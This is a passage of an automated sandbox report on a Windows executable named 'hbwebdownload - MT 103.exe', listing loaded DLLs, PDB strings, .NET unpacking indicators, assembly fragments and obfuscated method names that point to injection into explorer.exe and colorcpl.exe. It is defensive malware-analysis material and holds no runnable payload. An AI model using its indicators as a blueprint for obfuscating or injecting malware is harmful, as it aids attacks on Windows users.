          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: slc.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mfsrcsnk.dllJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: colorui.dllJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: mscms.dllJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: coloradapterclient.dllJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: hbwebdownload - MT 103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: hbwebdownload - MT 103.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: hbwebdownload - MT 103.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: colorcpl.pdbGCTL source: hbwebdownload - MT 103.exe, 00000004.00000002.2146139487.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exe, 00000004.00000002.2141231992.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: colorcpl.pdb source: hbwebdownload - MT 103.exe, 00000004.00000002.2146139487.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exe, 00000004.00000002.2141231992.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, colorcpl.exe, 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: QZ.pdb source: hbwebdownload - MT 103.exe
          Source: Binary string: wntdll.pdbUGP source: hbwebdownload - MT 103.exe, 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2145212271.00000000045FA000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2141228716.000000000444A000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: hbwebdownload - MT 103.exe, hbwebdownload - MT 103.exe, 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, colorcpl.exe, 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2145212271.00000000045FA000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2141228716.000000000444A000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: QZ.pdbSHA256 source: hbwebdownload - MT 103.exe

          Data Obfuscation

          barindex
          .NET source code contains potential unpacker
          Source: hbwebdownload - MT 103.exe, frmListContacts.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, JMVBdtlhbZ96poP7Cj.cs.Net Code: cTwhBhryk4 System.Reflection.Assembly.Load(byte[])
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, JMVBdtlhbZ96poP7Cj.cs.Net Code: cTwhBhryk4 System.Reflection.Assembly.Load(byte[])
          Source: 0.2.hbwebdownload - MT 103.exe.401a230.1.raw.unpack, MainForm.cs.Net Code: _200E_200C_200B_202B_202E_200E_200E_202D_200B_206C_202C_202B_200B_200F_200E_206F_206C_202C_202D_200E_206E_206E_200C_206D_202C_200B_200E_202B_200B_206A_202E_206A_202E_206E_206E_206A_206C_206A_206F_202E_202E System.Reflection.Assembly.Load(byte[])
          Source: 0.2.hbwebdownload - MT 103.exe.7440000.2.raw.unpack, MainForm.cs.Net Code: _200E_200C_200B_202B_202E_200E_200E_202D_200B_206C_202C_202B_200B_200F_200E_206F_206C_202C_202D_200E_206E_206E_200C_206D_202C_200B_200E_202B_200B_206A_202E_206A_202E_206E_206E_206A_206C_206A_206F_202E_202E System.Reflection.Assembly.Load(byte[])
          Source: 6.2.explorer.exe.108cf840.0.raw.unpack, frmListContacts.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: 7.2.colorcpl.exe.4cef840.3.raw.unpack, frmListContacts.cs.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
          Source: hbwebdownload - MT 103.exeStatic PE information: 0x91EFFE8B [Sat Aug 3 05:56:27 2047 UTC]
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 0_2_0756A9CD push FFFFFF8Bh; iretd 0_2_0756A9CF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00416825 push ecx; iretd 4_2_00416829
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_004168EA push ecx; ret 4_2_004168F6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00417116 push ss; iretd 4_2_00417118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00417132 push ecx; iretd 4_2_00417133
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041E9B2 push edx; iretd 4_2_0041E9B3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041EA0C push 6B25699Fh; iretd 4_2_0041EA11
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00416B3D push ds; retf 4_2_00416B4E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0040A47D pushad ; ret 4_2_0040A47E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041D4D2 push eax; ret 4_2_0041D4D8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041D4DB push eax; ret 4_2_0041D542
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041D485 push eax; ret 4_2_0041D4D8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0041D53C push eax; ret 4_2_0041D542
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0125225F pushad ; ret 4_2_012527F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012527FA pushad ; ret 4_2_012527F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012809AD push ecx; mov dword ptr [esp], ecx4_2_012809B6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0125283D push eax; iretd 4_2_01252858
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01251368 push eax; iretd 4_2_01251369
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6FBB02 push esp; retn 0000h6_2_0E6FBB03
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6FBB1E push esp; retn 0000h6_2_0E6FBB1F
          Source: C:\Windows\explorer.exeCode function: 6_2_0E6FB9B5 push esp; retn 0000h6_2_0E6FBAE7
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E4B1E push esp; retn 0000h6_2_0E7E4B1F
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E4B02 push esp; retn 0000h6_2_0E7E4B03
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E49B5 push esp; retn 0000h6_2_0E7E4AE7
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_008E1A6D push ecx; ret 7_2_008E1A80
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047A27FA pushad ; ret 7_2_047A27F9
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047A225F pushad ; ret 7_2_047A27F9
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047A283D push eax; iretd 7_2_047A2858
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047D09AD push ecx; mov dword ptr [esp], ecx7_2_047D09B6
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005C7116 push ss; iretd 7_2_005C7118
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005C7132 push ecx; iretd 7_2_005C7133
          Source: hbwebdownload - MT 103.exeStatic PE information: section name: .text entropy: 7.704162970307028
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, rfmO69TxWCcNDPn7aW.csHigh entropy of concatenated method names: 'fORB6oPrs', 'Ci47Z4fYj', 'q8J8LYlhF', 'Aq81nOqgA', 'ExJUBY565', 'yA26ekJ1k', 'gTDcFfYHL2oGHNoiAX', 'm8EdXn7oaC0tsexweL', 'dsKcwBFeB', 'y7lYLnr3I'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, hc50nSIAa7VAsnUMkY3.csHigh entropy of concatenated method names: 'a0sXjPYJwQ', 'hstXfY0DXT', 'QmmXBnwe6S', 'WGXX7PAb90', 'zfEXJLN8t7', 'IYPX8X5Ybw', 'PHxX17gdHR', 'eiYXMojjaj', 'S50XUHftvO', 'lDLX67pNbk'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, TsDevx9XV1O5LHc0c9.csHigh entropy of concatenated method names: 'JnTcO3Gy49', 'z1UcCIp0XA', 'Qa7cFcc4no', 'aTkcDvXSWO', 'SikcNAt5n7', 'BZscxX4xLV', 'HP1cleWSaE', 'alOcWQ0x6M', 'iZrcq33qRL', 'oPZcHX6osi'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, idYrOp0fFZIYPwoQ23.csHigh entropy of concatenated method names: 'oeGLqy9Or5', 'WZDLHUdGvN', 'ToString', 'JFGLOeP6b7', 'qHjLCBc3W4', 'XIXLF9AYpl', 'Hs9LDheIqu', 'lpWLNDOlPE', 'QgpLxxAaIG', 'e4uLlGCm2x'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, lULG0C6NjPxmNyNPol.csHigh entropy of concatenated method names: 'TVpDJVed6v', 'ynnD1WQ6rg', 'fdkFgrFsvp', 'dJLFrTkLkf', 'vjOFi13QJP', 'EAvF2vCcaq', 'vF9FGuBtoD', 'iSVFbcV4Ye', 'TufFSZjia4', 'xbVFv35dN8'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, BuRqQMy8aIcKHcydKM.csHigh entropy of concatenated method names: 'nMSuMctt8e', 'sN6uUUKodm', 'GBgusGQC3t', 'y5nu40fTli', 'uTtur8910k', 'MPRui1vJY4', 'LvCuGLg0yk', 'sfWubfBdoy', 'hF8uvjM2S8', 'xkdupNG62R'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, r9YZi2Imfcqx8t4BZR1.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HgDYo7YvqP', 'CPAYwrheQE', 'NwPYtKOjxa', 'mNxY0oVDPb', 'drFYEMQQQ9', 'NwZYKFMjsj', 'SoYYQBCs7f'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, enD1A1Fd1tAJ3Y3xlH.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'H5RTZWISnO', 'kxvT38BATk', 'fUCTz5ZZ4K', 'wmEmAfw0yT', 'SY2mIleDVl', 'QX4mTuVBRh', 'n3kmm3XRYf', 'UOaNeDje1gw06mC8F50'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, ialaiDGS30U62Iyp6G.csHigh entropy of concatenated method names: 'ofhxO3ZDTe', 'tByxFvaD2W', 'P7BxNc7ZLe', 'RuwN3ptpmc', 'VbkNzJ9b51', 'UAuxAJUYJP', 'Xo2xIp7ITr', 'k0jxTqry4w', 'T4Mxme0pL4', 'DuixhlSEDw'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, JMVBdtlhbZ96poP7Cj.csHigh entropy of concatenated method names: 'olhmdbR8br', 'roSmOgFlxq', 'iq5mCHMCwJ', 'CApmFWRxKt', 'VwBmD0RaiD', 'frjmNg9bTJ', 'oMAmx3R3oC', 'CLrmli2MmA', 'HCHmWXVmla', 'InrmqILHse'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, mrijnaZ3dxslJfOBtR.csHigh entropy of concatenated method names: 'RCEcsNsOA9', 'Nw3c486Ijj', 'pGNcgmKbDl', 'Dg5crpuUtM', 'wiKcoGqswM', 'FhMci6k9vV', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, F596u4USVjx7GmRdQm.csHigh entropy of concatenated method names: 'QMgF7E58lt', 'x63F8DK1E5', 'M4pFMiFxXL', 'WXFFUQ2xoi', 'P5FFndyv15', 'IOHFedr1BB', 'jlNFL4EDiD', 'mipFcVtdM5', 'ioVFX5XMOS', 'aYjFYtXjTP'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, DAbknxzDJaZrPLtQfb.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'P5yXuAXxO0', 'QohXn5ayYT', 'hjaXeP74YU', 'UypXL6rHG0', 'rr4XcboNZT', 'yKfXXMfohu', 'QPsXY98TrM'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, FLkqok34esMY6gI71g.csHigh entropy of concatenated method names: 'F9tXIxfu5C', 'C7YXmr5NYe', 'ykXXhwg4wd', 'QoQXOdGg2M', 'lyEXCyTliR', 'FcKXDICFwS', 'dBeXNZNYCl', 'wwpcQHytXv', 'tAOc9CQx5O', 'c9EcZRCqeC'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, wfKd5VCuDZ8E83bq6G.csHigh entropy of concatenated method names: 'Dispose', 'qmQIZvAoUN', 'WU7T4Gmp8n', 'xm5559Fkul', 'B0sI3DevxX', 'w1OIz5LHc0', 'ProcessDialogKey', 'q9qTArijna', 'YdxTIslJfO', 'ztRTT6Lkqo'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, FveECYsvfIsPyjj5Xf.csHigh entropy of concatenated method names: 'qKCNdxHuAi', 'bjONCs7xTQ', 'F4JND9PjDB', 's5xNxbnYfc', 'aipNlNK9Qv', 'frrDEy18TT', 'XDhDKLsip9', 'POZDQh5PrF', 'bmnD9lEMC8', 'nQPDZy70kw'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, qNbE6rKNj3AKpTflhq.csHigh entropy of concatenated method names: 'C7yL9c3y7P', 'qmlL3jyGG4', 'x0mcAJpebZ', 'drtcIc3YXy', 'uQ1LpFgUCC', 'omtLPKn7MH', 'q0oLyhmxBw', 'vhULoNe0GE', 'kCPLwD3jHq', 'DSpLtjFRCg'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, zYHQWct4MdPKFCaSkd.csHigh entropy of concatenated method names: 'ToString', 'lQAepDcS7R', 'VgKe4OHmPJ', 'u0teg4HKyJ', 'GiBerTm0o5', 'Pueeid13kH', 'FsRe2aVbQx', 'q8VeGQ8IhK', 'T9yebtlZIp', 'X8oeSdPfG5'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, DBYRBBSUdpvjMPQY36.csHigh entropy of concatenated method names: 'AcuxjyXyj2', 'NaFxfLA3LL', 'iEHxBI2GOB', 'tB8x7lFq9X', 'mSrxJVATKp', 'I8rx8ogjQa', 'Fecx1673vx', 'E9kxMQkYPL', 'lmExUnvE14', 'Sjgx6fQ8q6'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, pvMKoqM6A35QhnIeqC.csHigh entropy of concatenated method names: 'Fv0CoPweZm', 'hmvCwKVl2H', 'jqGCtmyl1W', 'JxOC04GAEh', 'AgHCE1Nh3D', 'm9HCKePiDA', 'kaPCQNIn8f', 'ReuC9ae4we', 'QkNCZHnOSd', 'M5dC3tHRii'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, jvSCVbo8l2i3fLUEWT.csHigh entropy of concatenated method names: 'nRPnvgHjHr', 'JG3nPkmPYy', 'SD5noX6Q7g', 'vCqnwdXeqe', 'l46n4YBY6r', 'bS1ngDaHoi', 'YqBnrpXgHw', 'VCknimajoX', 'ex0n2TuJCC', 'a42nGQt1xv'
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, GVonZPhHHaVyO2iIbd.csHigh entropy of concatenated method names: 'a9eIxvMKoq', 'EA3Il5QhnI', 'HSVIqjx7Gm', 'wdQIHmWULG', 'PNPInol6ve', 'UCYIevfIsP', 'Iu4L2t252sQ2FVsbnQ', 'gKKh4y3io4niDNNNYb', 'TsyIILoNAD', 'apRImFHCVX'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, rfmO69TxWCcNDPn7aW.csHigh entropy of concatenated method names: 'fORB6oPrs', 'Ci47Z4fYj', 'q8J8LYlhF', 'Aq81nOqgA', 'ExJUBY565', 'yA26ekJ1k', 'gTDcFfYHL2oGHNoiAX', 'm8EdXn7oaC0tsexweL', 'dsKcwBFeB', 'y7lYLnr3I'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, hc50nSIAa7VAsnUMkY3.csHigh entropy of concatenated method names: 'a0sXjPYJwQ', 'hstXfY0DXT', 'QmmXBnwe6S', 'WGXX7PAb90', 'zfEXJLN8t7', 'IYPX8X5Ybw', 'PHxX17gdHR', 'eiYXMojjaj', 'S50XUHftvO', 'lDLX67pNbk'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, TsDevx9XV1O5LHc0c9.csHigh entropy of concatenated method names: 'JnTcO3Gy49', 'z1UcCIp0XA', 'Qa7cFcc4no', 'aTkcDvXSWO', 'SikcNAt5n7', 'BZscxX4xLV', 'HP1cleWSaE', 'alOcWQ0x6M', 'iZrcq33qRL', 'oPZcHX6osi'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, idYrOp0fFZIYPwoQ23.csHigh entropy of concatenated method names: 'oeGLqy9Or5', 'WZDLHUdGvN', 'ToString', 'JFGLOeP6b7', 'qHjLCBc3W4', 'XIXLF9AYpl', 'Hs9LDheIqu', 'lpWLNDOlPE', 'QgpLxxAaIG', 'e4uLlGCm2x'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, lULG0C6NjPxmNyNPol.csHigh entropy of concatenated method names: 'TVpDJVed6v', 'ynnD1WQ6rg', 'fdkFgrFsvp', 'dJLFrTkLkf', 'vjOFi13QJP', 'EAvF2vCcaq', 'vF9FGuBtoD', 'iSVFbcV4Ye', 'TufFSZjia4', 'xbVFv35dN8'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, BuRqQMy8aIcKHcydKM.csHigh entropy of concatenated method names: 'nMSuMctt8e', 'sN6uUUKodm', 'GBgusGQC3t', 'y5nu40fTli', 'uTtur8910k', 'MPRui1vJY4', 'LvCuGLg0yk', 'sfWubfBdoy', 'hF8uvjM2S8', 'xkdupNG62R'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, r9YZi2Imfcqx8t4BZR1.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HgDYo7YvqP', 'CPAYwrheQE', 'NwPYtKOjxa', 'mNxY0oVDPb', 'drFYEMQQQ9', 'NwZYKFMjsj', 'SoYYQBCs7f'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, enD1A1Fd1tAJ3Y3xlH.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'H5RTZWISnO', 'kxvT38BATk', 'fUCTz5ZZ4K', 'wmEmAfw0yT', 'SY2mIleDVl', 'QX4mTuVBRh', 'n3kmm3XRYf', 'UOaNeDje1gw06mC8F50'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, ialaiDGS30U62Iyp6G.csHigh entropy of concatenated method names: 'ofhxO3ZDTe', 'tByxFvaD2W', 'P7BxNc7ZLe', 'RuwN3ptpmc', 'VbkNzJ9b51', 'UAuxAJUYJP', 'Xo2xIp7ITr', 'k0jxTqry4w', 'T4Mxme0pL4', 'DuixhlSEDw'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, JMVBdtlhbZ96poP7Cj.csHigh entropy of concatenated method names: 'olhmdbR8br', 'roSmOgFlxq', 'iq5mCHMCwJ', 'CApmFWRxKt', 'VwBmD0RaiD', 'frjmNg9bTJ', 'oMAmx3R3oC', 'CLrmli2MmA', 'HCHmWXVmla', 'InrmqILHse'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, mrijnaZ3dxslJfOBtR.csHigh entropy of concatenated method names: 'RCEcsNsOA9', 'Nw3c486Ijj', 'pGNcgmKbDl', 'Dg5crpuUtM', 'wiKcoGqswM', 'FhMci6k9vV', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, F596u4USVjx7GmRdQm.csHigh entropy of concatenated method names: 'QMgF7E58lt', 'x63F8DK1E5', 'M4pFMiFxXL', 'WXFFUQ2xoi', 'P5FFndyv15', 'IOHFedr1BB', 'jlNFL4EDiD', 'mipFcVtdM5', 'ioVFX5XMOS', 'aYjFYtXjTP'
